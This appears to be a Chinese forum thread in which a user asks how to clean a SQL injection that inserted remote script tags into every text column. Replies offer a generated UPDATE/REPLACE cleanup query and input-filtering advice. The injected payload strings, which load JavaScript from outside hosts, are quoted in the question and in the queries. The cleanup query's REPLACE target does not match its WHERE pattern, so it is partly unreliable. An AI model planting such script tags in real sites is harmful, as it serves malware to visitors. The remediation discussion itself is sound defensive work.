我数据库中的所有字符和文本类型的字段全部都中招了,现在所有的字段都有“<script src=http://888a.ss.la></script>”,请问这个问题到底该怎么处理,麻烦大家提供可行的方案!

解决方案 »

  1.   

    http://blog.csdn.net/sdhdy/archive/2009/05/06/4154664.aspx
      

  2.   

    SELECT 'UPDATE [' + table_name + '] 
    SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''') 
    WHERE ' + column_name + ' LIKE ''%<script src=http://888a.ss.la> </script>%''' 
    FROM information_schema.COLUMNS 
    WHERE (character_maximum_length IS NOT NULL) 
    AND ([table_name] NOT LIKE 'dt%') 
    AND ([table_name] NOT LIKE 'sys%')然后復制結果去運行
      

  3.   

    参考http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html?84220
      

  4.   

    http://topic.csdn.net/u/20091013/15/9f058df7-4d29-47bf-a338-b63fcab2abc0.html
    里面的注入专题
      

  5.   

    SELECT 'UPDATE [' + table_name + '] 
    SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''') 
    WHERE ' + column_name + ' LIKE ''%<script src=http://888a.ss.la> </script>%''' 
    FROM information_schema.COLUMNS 
    WHERE (character_maximum_length IS NOT NULL) 
    AND ([table_name] NOT LIKE 'dt%') 
    AND ([table_name] NOT LIKE 'sys%')只能这么办了之后你把的代码研究一下。 URL变量过滤到'和insert select update 等特殊字符